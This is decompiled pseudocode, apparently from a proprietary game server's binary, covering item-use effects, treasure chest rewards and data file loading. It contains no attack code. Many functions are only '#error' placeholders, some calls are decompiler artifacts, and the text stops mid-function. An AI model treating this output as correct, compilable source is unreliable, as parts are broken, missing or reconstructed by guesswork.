ItemRandomOption::RandomOptionTable::operator__(&itemrandomoptiontable, v14); v16 = ItemAttributeClassContainer::operator__(&itmattcontainer, v7); v17 = v16->vfptr->iac_GetItemOptionStruct(v16, &v4->tcm_rewarditem[v4->tcm_ItemNum].iti_itemstruct); if ( v15 ) { if ( v17 ) ItemRandomOption::RandomOptionTable::rot_FillOption(&itemrandomoptiontable, v17, v15); } v18 = v4->tcm_ItemNum; v19 = v4->tcm_ItemNum; *(_DWORD *)&v4->tcm_rewarditem[0].iti_registnum.binary.gap0[8 * v18 + 3] = *(_DWORD *)&v4->tcm_rewarditem[v19].iti_registnum.binary.gap0[0]; *(int *)((char *)&v4->tcm_rewarditem[0].iti_registnum.binary._bf4 + 8 * v18 + 3) = v4->tcm_rewarditem[v19].iti_registnum.binary._bf4; ++v4->tcm_ItemNum; v22 = -1; FunctionEntarance::_FunctionEntarance(&_); return v7; } //----- (00562690) -------------------------------------------------------- int __thiscall TreasureChestMaker::tcm_PutInto(TreasureChestMaker *this, int from, PROTO_ITEM_CMD *itmlst, int emptyslot, TreasureChestLocationManager *tcm, unsigned __int16 nInvenType) { TreasureChestMaker *v6; // edi@1 int v7; // edx@1 int result; // eax@2 PROTO_ITEM_CMD *v9; // eax@3 int v10; // ebp@3 PROTO_ITEM_CMD *v11; // esi@3 int v12; // eax@4 int v13; // edi@4 ItemAttributeClass *v14; // eax@10 char v15; // bl@10 char v16; // bl@12 int v17; // esi@16 TreasureChestMaker *v18; // [sp+8h] [bp-14h]@1 ItemTotalInformation *froma; // [sp+20h] [bp+4h]@4 v6 = this; v18 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "TreasureChestMaker::tcm_PutInto"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "TreasureChestMaker::tcm_PutInto"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; v7 = funcallanalizer.fca_stackpoint++ + 1; if ( v6->tcm_ItemNum ) { v9 = itmlst; v6->tcm_rewarditem[0].iti_itemstruct.itemattr.blot.lot ^= (v6->tcm_rewarditem[0].iti_itemstruct.itemattr.blot.lot ^ (LOBYTE(v6->tcm_ItemNum) - 1)) & 0xF; v10 = from; itmlst->numofitem = 0; v11 = itmlst + 1; if ( from < v6->tcm_ItemNum ) { while ( 1 ) { v12 = (int)((char *)v6 + 111 * v10); v13 = *(_WORD *)(v12 + 8); froma = (ItemTotalInformation *)v12; if ( !(ItemDataBox::operator__(&itemdatabox, *(_WORD *)(v12 + 8))->data != 0) ) { AssertClass::ac_AssertFail( &shineassert, "TreasureChestMaker::tcm_PutInto : Invalid ItemID found", (unsigned __int16)v13); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "TreasureChestMaker::tcm_PutInto"); return 0; } if ( v10 ) { *(_WORD *)&v11[1].numofitem = 10240; if ( tcm && tcm->baseclass_0.bs_maxbit ) *tcm->baseclass_0.bs_bitlist |= 1u; } else { *(_WORD *)&v11[1].numofitem = (nInvenType << 10) ^ emptyslot & 0x3FF; } v14 = ItemAttributeClassContainer::operator__(&itmattcontainer, v13); v15 = (char)&ItemTotalInformation::iti_fill2buffer_whole(froma, v14, v13, &v11[3].numofitem)[-(_BYTE)v11 - 3]; if ( v10 ) ItemsInChest::iic_StoreItem(&itemsinchest, froma); v16 = v15 + 2; v11->numofitem = v16; ++itmlst->numofitem; ++v10; v11 += (unsigned __int8)v16 + 1; if ( v10 >= v18->tcm_ItemNum ) break; v6 = v18; } v9 = itmlst; } v17 = v11 - v9; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "TreasureChestMaker::tcm_PutInto"); result = v17; } else { funcallanalizer.fca_stackpoint = v7 - 1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "TreasureChestMaker::tcm_PutInto"); result = 0; } return result; } //----- (005628B0) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@1 unsigned int v5; // [sp+108h] [bp-4h]@1 v5 = (unsigned int)buffer ^ __security_cookie; v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0xA2Bu, 0x3Eu) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (00562960) -------------------------------------------------------- void __thiscall UpgradeDataBox::UpgradeDataBox(UpgradeDataBox *this) { char *v1; // edi@1 v1 = (char *)&this->udb_BinData; CCharacterTitleData::CCharacterTitleData(&this->udb_BinData.baseclass_0); v1 += 60; memset(v1, 0, 0x3Cu); *((_WORD *)v1 + 30) = 0; } //----- (00562990) -------------------------------------------------------- void __thiscall AbnormalStateDictionary::SubAbState::_SubAbState(AbnormalStateDictionary::SubAbState *this) { CCharacterTitleData::_CCharacterTitleData(&this->sas_BinData.baseclass_0); } //----- (005629A0) -------------------------------------------------------- void __thiscall UpgradeDataBox::udb_Load(UpgradeDataBox *this, Name4 *world) { UpgradeDataBox *v2; // esi@1 UpGradeInfo *v3; // edi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "UpgradeDataBox::udb_Load"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "UpgradeDataBox::udb_Load"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2->udb_default = &v2->udb_BinData.bdb_defaultblock; BinaryDataBox::bdb_ReadData(&v2->udb_BinData, "../9Data/Hero/UpGradeInfo.shn"); v3 = v2->udb_default; v2->udb_Number = v2->udb_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; memset(v3, 0, 0x3Cu); v3->Updata[11] = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "UpgradeDataBox::udb_Load"); } //----- (00562A60) -------------------------------------------------------- void __thiscall UseEffect::UsedItemEffect::uie_BroadCast(UseEffect::UsedItemEffect *this, unsigned __int16 item, char bc) { this->uie_FuncStruct[item].broadcast = bc; } //----- (00562A80) -------------------------------------------------------- void __thiscall UseEffect::UsedItemEffect::uie_SetChargedBuffer(UseEffect::UsedItemEffect *this, unsigned __int16 item, UseEffect::UseItemBase *uib, SkillDataBox::SkillDataIndex *uie) { int v4; // eax@1 v4 = item; this->uie_FuncStruct[v4].useeffectstruct = &this->uie_DefStruct; this->uie_FuncStruct[v4].useitemclass = uib; this->uie_FuncStruct[v4].useskill = uie; } //----- (00562AC0) -------------------------------------------------------- void __thiscall UseEffect::UseItemSilverWing::UseItemSilverWing(UseEffect::UseItemSilverWing *this) { this->baseclass_0.vfptr = (UseEffect::UseItemBaseVtbl *)&UseEffect::UseItemSilverWing::_vftable_; } // 676288: using guessed type int (__stdcall *UseEffect__UseItemSilverWing___vftable_)(int, int itm); //----- (00562AD0) -------------------------------------------------------- void __thiscall UseEffect::UseItemNormal::UseItemNormal(UseEffect::UseItemNormal *this) { this->baseclass_0.vfptr = (UseEffect::UseItemBaseVtbl *)&UseEffect::UseItemNormal::_vftable_; } // 676298: using guessed type int (__stdcall *UseEffect__UseItemNormal___vftable_)(int, int itm); //----- (00562AE0) -------------------------------------------------------- void __thiscall UseEffect::UseItemRecallScroll::UseItemRecallScroll(UseEffect::UseItemRecallScroll *this) { this->baseclass_0.baseclass_0.vfptr = (UseEffect::UseItemBaseVtbl *)&UseEffect::UseItemRecallScroll::_vftable_; } // 6762A8: using guessed type int (__stdcall *UseEffect__UseItemRecallScroll___vftable_)(int, int itm); //----- (00562AF0) -------------------------------------------------------- void __thiscall UseEffect::UseItemSkillScroll::UseItemSkillScroll(UseEffect::UseItemSkillScroll *this) { this->baseclass_0.baseclass_0.vfptr = (UseEffect::UseItemBaseVtbl *)&UseEffect::UseItemSkillScroll::_vftable_; } // 6762B8: using guessed type int (__stdcall *UseEffect__UseItemSkillScroll___vftable_)(#734 *, int itm); //----- (00562B00) -------------------------------------------------------- void __thiscall UseEffect::UseItemChest::UseItemChest(UseEffect::UseItemChest *this) { this->baseclass_0.vfptr = (UseEffect::UseItemBaseVtbl *)&UseEffect::UseItemChest::_vftable_; } // 6762C8: using guessed type int (__stdcall *UseEffect__UseItemChest___vftable_)(int, int itm); //----- (00562B10) -------------------------------------------------------- void __thiscall UseEffect::UseItemByTable::UseItemByTable(UseEffect::UseItemByTable *this) { this->baseclass_0.baseclass_0.vfptr = (UseEffect::UseItemBaseVtbl *)&UseEffect::UseItemByTable::_vftable_; } // 6762D8: using guessed type int (__stdcall *UseEffect__UseItemByTable___vftable_)(int, int itm); //----- (00562B20) -------------------------------------------------------- void __thiscall UseEffect::UseItemChargedBuff::UseItemChargedBuff(UseEffect::UseItemChargedBuff *this) { this->baseclass_0.baseclass_0.vfptr = (UseEffect::UseItemBaseVtbl *)&UseEffect::UseItemChargedBuff::_vftable_; } // 6762E8: using guessed type int (__stdcall *UseEffect__UseItemChargedBuff___vftable_)(int, int itm); //----- (00562B30) -------------------------------------------------------- void __thiscall UseEffect::UseItemMiniHouse::UseItemMiniHouse(UseEffect::UseItemMiniHouse *this) { this->baseclass_0.baseclass_0.vfptr = (UseEffect::UseItemBaseVtbl *)&UseEffect::UseItemMiniHouse::_vftable_; } // 6762F8: using guessed type int (__stdcall *UseEffect__UseItemMiniHouse___vftable_)(int, int itm); //----- (00562B40) -------------------------------------------------------- void __thiscall UseEffect::UseItemActionItem::UseItemActionItem(UseEffect::UseItemActionItem *this) { this->baseclass_0.baseclass_0.vfptr = (UseEffect::UseItemBaseVtbl *)&UseEffect::UseItemActionItem::_vftable_; } // 676308: using guessed type int (__stdcall *UseEffect__UseItemActionItem___vftable_)(int, int itm); //----- (00562B50) -------------------------------------------------------- void __thiscall UseEffect::UseItemMiniHouseFurniture::UseItemMiniHouseFurniture(UseEffect::UseItemMiniHouseFurniture *this) { this->baseclass_0.baseclass_0.vfptr = (UseEffect::UseItemBaseVtbl *)&UseEffect::UseItemMiniHouseFurniture::_vftable_; } // 676318: using guessed type int (__stdcall *UseEffect__UseItemMiniHouseFurniture___vftable_)(int, int itm); //----- (00562B60) -------------------------------------------------------- void __thiscall UseEffect::UseItemRide::UseItemRide(UseEffect::UseItemRide *this) { this->baseclass_0.baseclass_0.vfptr = (UseEffect::UseItemBaseVtbl *)&UseEffect::UseItemRide::_vftable_; } // 676328: using guessed type int (__stdcall *UseEffect__UseItemRide___vftable_)(#593 *, int itm); //----- (00562B70) -------------------------------------------------------- void __thiscall UseEffect::UseItemHorseFood::UseItemHorseFood(UseEffect::UseItemHorseFood *this) { this->baseclass_0.baseclass_0.vfptr = (UseEffect::UseItemBaseVtbl *)&UseEffect::UseItemHorseFood::_vftable_; } // 676338: using guessed type int (__stdcall *UseEffect__UseItemHorseFood___vftable_)(int, int itm); //----- (00562B80) -------------------------------------------------------- void __thiscall UseEffect::UseItemItemPackage::UseItemItemPackage(UseEffect::UseItemItemPackage *this) { this->baseclass_0.baseclass_0.vfptr = (UseEffect::UseItemBaseVtbl *)&UseEffect::UseItemItemPackage::_vftable_; } // 676348: using guessed type int (__stdcall *UseEffect__UseItemItemPackage___vftable_)(int, int itm); //----- (00562B90) -------------------------------------------------------- void __thiscall UseEffect::UseItemLicenseClear::UseItemLicenseClear(UseEffect::UseItemLicenseClear *this) { this->baseclass_0.baseclass_0.vfptr = (UseEffect::UseItemBaseVtbl *)&UseEffect::UseItemLicenseClear::_vftable_; } // 676358: using guessed type int (__stdcall *UseEffect__UseItemLicenseClear___vftable_)(int, int itm); //----- (00562BA0) -------------------------------------------------------- void __thiscall UseEffect::UseItemStatClear::UseItemStatClear(UseEffect::UseItemStatClear *this, int dbreq, int err) { this->baseclass_0.baseclass_0.vfptr = (UseEffect::UseItemBaseVtbl *)&UseEffect::UseItemStatClear::_vftable_; this->uisc_DBReqCommand = dbreq; this->uisc_ErrCommand = err; } // 676368: using guessed type int (__stdcall *UseEffect__UseItemStatClear___vftable_)(int, int itm); //----- (00562BC0) -------------------------------------------------------- void __thiscall UseEffect::UseItemAmountHP::UseItemAmountHP(UseEffect::UseItemAmountHP *this) { this->baseclass_0.baseclass_0.vfptr = (UseEffect::UseItemBaseVtbl *)&UseEffect::UseItemAmountHP::_vftable_; } // 676378: using guessed type int (__stdcall *UseEffect__UseItemAmountHP___vftable_)(int, int itm); //----- (00562BD0) -------------------------------------------------------- void __thiscall UseEffect::UseItemAmountSP::UseItemAmountSP(UseEffect::UseItemAmountSP *this) { this->baseclass_0.baseclass_0.vfptr = (UseEffect::UseItemBaseVtbl *)&UseEffect::UseItemAmountSP::_vftable_; } // 676388: using guessed type int (__stdcall *UseEffect__UseItemAmountSP___vftable_)(int, int itm); //----- (00562BE0) -------------------------------------------------------- void __thiscall UseEffect::UseItemAmountHPSP::UseItemAmountHPSP(UseEffect::UseItemAmountHPSP *this) { this->baseclass_0.baseclass_0.vfptr = (UseEffect::UseItemBaseVtbl *)&UseEffect::UseItemAmountHPSP::_vftable_; } // 676398: using guessed type int (__stdcall *UseEffect__UseItemAmountHPSP___vftable_)(int, int itm); //----- (00562BF0) -------------------------------------------------------- void __thiscall UseEffect::UseItemRoar::UseItemRoar(UseEffect::UseItemRoar *this) { this->baseclass_0.baseclass_0.vfptr = (UseEffect::UseItemBaseVtbl *)&UseEffect::UseItemRoar::_vftable_; } // 6763A8: using guessed type int (__stdcall *UseEffect__UseItemRoar___vftable_)(int, int itm); //----- (00562C00) -------------------------------------------------------- void __thiscall UseEffect::UseItemSkillErase::UseItemSkillErase(UseEffect::UseItemSkillErase *this) { this->baseclass_0.baseclass_0.vfptr = (UseEffect::UseItemBaseVtbl *)&UseEffect::UseItemSkillErase::_vftable_; } // 6763B8: using guessed type int (__stdcall *UseEffect__UseItemSkillErase___vftable_)(int, int itm); //----- (00562C10) -------------------------------------------------------- void __thiscall UseEffect::UseItemWingStone::UseItemWingStone(UseEffect::UseItemWingStone *this) { this->baseclass_0.baseclass_0.vfptr = (UseEffect::UseItemBaseVtbl *)&UseEffect::UseItemWingStone::_vftable_; } // 6763C8: using guessed type int (__stdcall *UseEffect__UseItemWingStone___vftable_)(int, int itm); //----- (00562C20) -------------------------------------------------------- void __thiscall UseEffect::UseItemMemoryFeather::UseItemMemoryFeather(UseEffect::UseItemMemoryFeather *this) { this->baseclass_0.baseclass_0.vfptr = (UseEffect::UseItemBaseVtbl *)&UseEffect::UseItemMemoryFeather::_vftable_; } // 6763D8: using guessed type int (__stdcall *UseEffect__UseItemMemoryFeather___vftable_)(int, int itm); //----- (00562C30) -------------------------------------------------------- void __thiscall UseEffect::UseItemBossMobDetect::UseItemBossMobDetect(UseEffect::UseItemBossMobDetect *this) { this->baseclass_0.baseclass_0.vfptr = (UseEffect::UseItemBaseVtbl *)&UseEffect::UseItemBossMobDetect::_vftable_; } // 6763E8: using guessed type int (__stdcall *UseEffect__UseItemBossMobDetect___vftable_)(int, int itm); //----- (00562C40) -------------------------------------------------------- void __thiscall UseEffect::UseItemSkillDummy2Real::UseItemSkillDummy2Real(UseEffect::UseItemSkillDummy2Real *this) { this->baseclass_0.baseclass_0.vfptr = (UseEffect::UseItemBaseVtbl *)&UseEffect::UseItemSkillDummy2Real::_vftable_; } // 6763F8: using guessed type int (__stdcall *UseEffect__UseItemSkillDummy2Real___vftable_)(int, int itm); //----- (00562C50) -------------------------------------------------------- signed __int16 __thiscall ShineObjectClass::ShinePlayer::sp_CanRecallInThisMap(void *this) { void *v1; // esi@1 int v2; // edi@2 const char *v3; // eax@2 signed __int16 result; // ax@2 v1 = this; if ( (unsigned __int8)(*(int (**)(void))(*(_DWORD *)this + 2688))() ) { result = 1792; } else { v2 = *(_DWORD *)v1; v3 = ShineScript::ss_String(&shinescriptetc, "RecallDisableField"); (*(void (__thiscall **)(void *, const char *))(v2 + 1924))(v1, v3); result = 1807; } return result; } //----- (00562C90) -------------------------------------------------------- unsigned __int16 __thiscall UseEffect::UseItemBase::uib_CanUseItem(UseEffect::UseItemBase *this, #734 *a2, ItemTotalInformation *itm) { return 1794; } //----- (00562CA0) -------------------------------------------------------- unsigned __int16 __thiscall UseEffect::UseItemBossMobDetect::uib_CanUseItem(UseEffect::UseItemGBCoin *this, #734 *a2, ItemTotalInformation *itm) { return 1792; } //----- (00562CB0) -------------------------------------------------------- #error "562CB0: undefined or illegal type '#734' (funcsize=34)" //----- (00562D10) -------------------------------------------------------- #error "562D10: undefined or illegal type '#734' (funcsize=26)" //----- (00562D60) -------------------------------------------------------- unsigned __int16 __thiscall UseEffect::UseItemSkillDummy2Real::uib_CanUseItem(UseEffect::UseItemSkillDummy2Real *this, #734 *a2, ItemTotalInformation *itm) { return ShineObjectClass::ShinePlayer::sp_CanItemMakeItem((void *)a2); } //----- (00562D70) -------------------------------------------------------- #error "562D70: undefined or illegal type '#593' (funcsize=4)" //----- (00562D80) -------------------------------------------------------- #error "562D80: undefined or illegal type '#593' (funcsize=6)" //----- (00562DA0) -------------------------------------------------------- void __thiscall UseEffect::UseItemPropose::UseItemPropose(UseEffect::UseItemPropose *this) { this->baseclass_0.baseclass_0.vfptr = (UseEffect::UseItemBaseVtbl *)&UseEffect::UseItemPropose::_vftable_; } // 676408: using guessed type int (__stdcall *UseEffect__UseItemPropose___vftable_)(#593 *, int itm); //----- (00562DB0) -------------------------------------------------------- void __thiscall UseEffect::UseItemChest::_UseItemChest(UseEffect::UseItemNoEffect *this) { this->baseclass_0.baseclass_0.vfptr = (UseEffect::UseItemBaseVtbl *)&UseEffect::UseItemBase::_vftable_; } // 676278: using guessed type int (__stdcall *UseEffect__UseItemBase___vftable_)(int, int itm); //----- (00562DC0) -------------------------------------------------------- #error "562DC0: undefined or illegal type '#734' (funcsize=89)" //----- (00562EC0) -------------------------------------------------------- #error "562EC0: undefined or illegal type '#734' (funcsize=31)" //----- (00562F30) -------------------------------------------------------- void __thiscall UseEffect::UseItemImmediateDivorce::UseItemImmediateDivorce(UseEffect::UseItemImmediateDivorce *this) { this->baseclass_0.baseclass_0.vfptr = (UseEffect::UseItemBaseVtbl *)&UseEffect::UseItemImmediateDivorce::_vftable_; } // 676448: using guessed type int (__stdcall *UseEffect__UseItemImmediateDivorce___vftable_)(int, int itm); //----- (00562F40) -------------------------------------------------------- #error "562F40: undefined or illegal type '#734' (funcsize=11)" //----- (00562F70) -------------------------------------------------------- #error "562F70: undefined or illegal type '#734' (funcsize=101)" //----- (005630E0) -------------------------------------------------------- void __thiscall UseEffect::UseItemFire::UseItemFire(UseEffect::UseItemFire *this) { this->baseclass_0.baseclass_0.vfptr = (UseEffect::UseItemBaseVtbl *)&UseEffect::UseItemFire::_vftable_; } // 676468: using guessed type int (__stdcall *UseEffect__UseItemFire___vftable_)(int, int itm); //----- (005630F0) -------------------------------------------------------- #error "5630F0: undefined or illegal type '#593' (funcsize=112)" //----- (00563270) -------------------------------------------------------- void __thiscall UseEffect::UseItemGuildReName::UseItemGuildReName(UseEffect::UseItemGuildReName *this) { this->baseclass_0.baseclass_0.vfptr = (UseEffect::UseItemBaseVtbl *)&UseEffect::UseItemGuildReName::_vftable_; } // 676520: using guessed type int (__stdcall *UseEffect__UseItemGuildReName___vftable_)(int, int itm); //----- (00563280) -------------------------------------------------------- void __thiscall UseEffect::UseItemGuildReType::UseItemGuildReType(UseEffect::UseItemGuildReType *this) { this->baseclass_0.baseclass_0.vfptr = (UseEffect::UseItemBaseVtbl *)&UseEffect::UseItemGuildReType::_vftable_; } // 676530: using guessed type int (__stdcall *UseEffect__UseItemGuildReType___vftable_)(int, int itm); //----- (00563290) -------------------------------------------------------- void __thiscall UseEffect::UseItemFurnitureEndureKit::UseItemFurnitureEndureKit(UseEffect::UseItemFurnitureEndureKit *this) { this->baseclass_0.baseclass_0.baseclass_0.vfptr = (UseEffect::UseItemBaseVtbl *)&UseEffect::UseItemFurnitureEndureKit::_vftable_; } // 676540: using guessed type int (__stdcall *UseEffect__UseItemFurnitureEndureKit___vftable_)(int, int itm); //----- (005632A0) -------------------------------------------------------- int __thiscall UseEffect::UseItemFurnitureEndureKit::uivpb_ProtocolMake(UseEffect::UseItemFurnitureEndureKit *this, NETCOMMAND *nc) { nc->protocol = 13451; *(_DWORD *)&nc[6].protocol = this->m_dEndureTime._bf0; *(_QWORD *)&nc[2].protocol = *(_QWORD *)&this->m_nKey.binary.gap0[0]; nc[1].protocol = this->m_nFurnitureHnd; return 35; } //----- (005632D0) -------------------------------------------------------- void __thiscall UseEffect::UseItemFurnitureEndureKit::uivpb_SetFurnitureHnd(UseEffect::UseItemFurnitureEndureKit *this, unsigned __int16 *nFurnitureHnd) { this->m_nFurnitureHnd = *nFurnitureHnd; } //----- (005632E0) -------------------------------------------------------- void __thiscall UseEffect::UseItemFurnitureEndureKit::uivpb_SetFurnitureKey(UseEffect::UseItemFurnitureEndureKit *this, SHINE_ITEM_REGISTNUMBER *nKey) { *(_QWORD *)&this->m_nKey.binary.gap0[0] = *(_QWORD *)&nKey->binary.gap0[0]; } //----- (00563300) -------------------------------------------------------- void __thiscall UseEffect::UseItemFurnitureEndureKit::uivpb_SetFurnitureEndureTime(UseEffect::UseItemFurnitureEndureKit *this, ShineDateTime *dEndureTime) { this->m_dEndureTime._bf0 = dEndureTime->_bf0; } //----- (00563310) -------------------------------------------------------- void __thiscall UseEffect::UseItemGBCoin::UseItemGBCoin(UseEffect::UseItemGBCoin *this) { this->baseclass_0.vfptr = (UseEffect::UseItemBaseVtbl *)&UseEffect::UseItemGBCoin::_vftable_; } // 676558: using guessed type int (__stdcall *UseEffect__UseItemGBCoin___vftable_)(int, int itm); //----- (00563320) -------------------------------------------------------- void __thiscall UseEffect::UseItemCapsule::UseItemCapsule(UseEffect::UseItemCapsule *this) { this->baseclass_0.vfptr = (UseEffect::UseItemBaseVtbl *)&UseEffect::UseItemCapsule::_vftable_; } // 676568: using guessed type int (__stdcall *UseEffect__UseItemCapsule___vftable_)(int, int itm); //----- (00563330) -------------------------------------------------------- unsigned __int16 __thiscall UseEffect::UseItemCapsule::uib_CanUseItem(UseEffect::UseItemCapsule *this, #734 *a2, ItemTotalInformation *itm) { ItemAttributeClass *v4; // eax@5 int v5; // eax@5 unsigned int v6; // edx@7 unsigned int v7; // ecx@7 int v8; // eax@11 unsigned int v9; // ecx@11 int v10; // eax@13 unsigned int v11; // ecx@13 int v12; // eax@15 unsigned int v13; // ecx@15 if ( !a2 ) return 1793; if ( !itm ) return 1794; v4 = ItemAttributeClassContainer::operator__(&itmattcontainer, itm->iti_itemstruct.itemid); v5 = (int)v4->vfptr->iac_GetUseableDateTime(v4, &itm->iti_itemstruct); if ( !v5 || (v6 = *(_DWORD *)v5, (v7 = (unsigned __int8)*(_DWORD *)v5) == 0) ) return 1830; if ( v7 > (unsigned __int8)chargeditemcheck._bf0 ) return 1792; if ( v7 < (unsigned __int8)chargeditemcheck._bf0 ) return 1830; v8 = (v6 >> 8) & 0x1F; v9 = ((unsigned int)chargeditemcheck._bf0 >> 8) & 0x1F; if ( v8 > v9 ) return 1792; if ( v8 < v9 ) return 1830; v10 = (v6 >> 13) & 0x3F; v11 = ((unsigned int)chargeditemcheck._bf0 >> 13) & 0x3F; if ( v10 > v11 ) return 1792; if ( v10 < v11 ) return 1830; v12 = (v6 >> 19) & 0x3F; v13 = ((unsigned int)chargeditemcheck._bf0 >> 19) & 0x3F; if ( v12 > v13 ) return 1792; if ( v12 < v13 ) return 1830; return (v6 & 0xFE000000) < ((unsigned int)chargeditemcheck._bf0 & 0xFE000000) ? 1830 : 1792; } //----- (00563400) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@1 unsigned int v5; // [sp+108h] [bp-4h]@1 v5 = (unsigned int)buffer ^ __security_cookie; v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0x23Bu, 0x56u) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (005634B0) -------------------------------------------------------- void __thiscall UseEffect::UseItemMysteryBolt::UseItemMysteryBolt(UseEffect::UseItemMysteryBolt *this) { this->baseclass_0.vfptr = (UseEffect::UseItemBaseVtbl *)&UseEffect::UseItemMysteryBolt::_vftable_; } // 676578: using guessed type int (__stdcall *UseEffect__UseItemMysteryBolt___vftable_)(int, int itm); //----- (005634C0) -------------------------------------------------------- void __thiscall UseEffect::UsedItemEffect::UsedItemEffect(UseEffect::UsedItemEffect *this) { UseEffect::UsedItemEffect *v1; // esi@1 v1 = this; CCharacterTitleData::CCharacterTitleData(&this->uie_BinData.baseclass_0); memset(&v1->uie_BinData.bdb_defaultblock, 0, 0x54u); HIWORD(v1->uie_BinData.bdb_defaultblock.UseAbstateIndex) = 0; v1->uie_FuncStruct = 0; } //----- (005634F0) -------------------------------------------------------- void __thiscall GatherProduce::GatherTable::_GatherTable(GatherProduce::GatherTable *this) { BinaryData *v1; // esi@1 v1 = (BinaryData *)this; if ( this->gt_Array ) operator delete(this->gt_Array); CCharacterTitleData::_CCharacterTitleData(v1); } //----- (00563510) -------------------------------------------------------- #error "563510: undefined or illegal type '#593' (funcsize=79)" //----- (00563630) -------------------------------------------------------- #error "563630: undefined or illegal type '#593' (funcsize=65)" //----- (00563720) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_UseAmountHP(void *this, int slot, __int16 inv) { void *v3; // esi@1 int v4; // edi@1 int v5; // edi@1 int v6; // eax@3 int v7; // ebx@3 int v8; // eax@3 int v9; // ebp@3 int v10; // eax@6 int v11; // ecx@6 unsigned int v12; // eax@6 int v13; // ST04_4@8 int v14; // eax@8 char *v15; // [sp-4h] [bp-28h]@2 int iic; // [sp+10h] [bp-14h]@3 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_UseAmountHP"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_UseAmountHP"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 1260))(v3); v5 = v4 - (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 1252))(v3); if ( v5 > 0 ) { v6 = (*(int (__thiscall **)(char *, int))*((int (__thiscall ***)(_DWORD, _DWORD))v3 + 8920))( (char *)v3 + 35680, slot); v7 = *(_DWORD *)(v6 + 112); iic = v6; v8 = (*(int (__thiscall **)(_DWORD, int))(*(_DWORD *)v7 + 100))(*(_DWORD *)(v6 + 112), v6 + 8); v9 = v8; if ( v8 >= 0 ) { if ( v5 > v8 ) v5 = v8; ShineObjectClass::ShinePlayer::sp_HPChangeCheck(v3, v5, 1, (int)"ShineObjectClass::ShinePlayer::sp_UseAmountHP"); v10 = v5 + *(_DWORD *)((char *)v3 + 32209); v11 = v10; *(_DWORD *)((char *)v3 + 32209) = v10; v12 = *((_DWORD *)v3 + 895); if ( v11 > v12 ) *(_DWORD *)((char *)v3 + 32209) = v12; v13 = *(_DWORD *)((char *)v3 + 78); v14 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange( v3, v14, v13, 0, 0, (int)ShineObjectClass::ShineObject::so_ply_Send2WhoTargetMe, 0, 0, 0, 0, 65535); (*(void (__thiscall **)(int, int, int))(*(_DWORD *)v7 + 104))(v7, iic + 8, v9 - v5); if ( v9 == v5 ) { LOWORD(slot) = slot & 0x3FF | 0x2400; ShineObjectClass::ShinePlayer::sp_DestroyItem(v3, *((_WORD *)v3 + 2), iic, (int)&slot); } else { ShineObjectClass::ShinePlayer::sp_ItemAttrSave(v3, iic, 9, slot); } } v15 = "ShineObjectClass::ShinePlayer::sp_UseAmountHP"; } else { v15 = "ShineObjectClass::ShinePlayer::sp_UseAmountHP"; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v15); } //----- (005638D0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_UseAmountSP(void *this, int slot, __int16 inv) { void *v3; // esi@1 int v4; // edi@1 int v5; // edi@1 int v6; // eax@3 int v7; // ebx@3 int v8; // eax@3 int v9; // ebp@3 int v10; // eax@6 int v11; // ecx@6 unsigned int v12; // eax@6 int v13; // ST04_4@8 int v14; // eax@8 char *v15; // [sp-4h] [bp-28h]@2 int iic; // [sp+10h] [bp-14h]@3 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_UseAmountSP"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_UseAmountSP"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 1264))(v3); v5 = v4 - (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 1256))(v3); if ( v5 > 0 ) { v6 = (*(int (__thiscall **)(char *, int))*((int (__thiscall ***)(_DWORD, _DWORD))v3 + 8920))( 